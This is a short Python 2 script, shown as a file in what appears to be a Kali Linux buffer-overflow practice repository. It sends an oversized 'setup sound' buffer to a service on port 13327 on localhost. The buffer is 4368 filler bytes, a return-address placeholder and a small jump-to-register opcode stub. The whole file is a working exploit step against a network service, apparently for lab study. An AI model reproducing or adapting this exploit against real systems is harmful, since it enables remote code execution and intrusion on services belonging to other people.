Files
kali_inux/Buffer overflow/linux系统的缓冲区溢出/03.py
2017-08-03 13:41:33 +08:00

15 lines
394 B
Python

#!/usr/bin/python
import socket
host = "127.0.0.1"
crash="\x41"*4368 + 'B'*4 + '\x83\xc0\x0c\xff\xe0\x90\x90'
#crash="\x41"*4368 + '\x42'*4 + '\x43'*7
buffer = "\x11(setup sound " +crash+ "\x90\x00#"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*] Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*] Payload Send"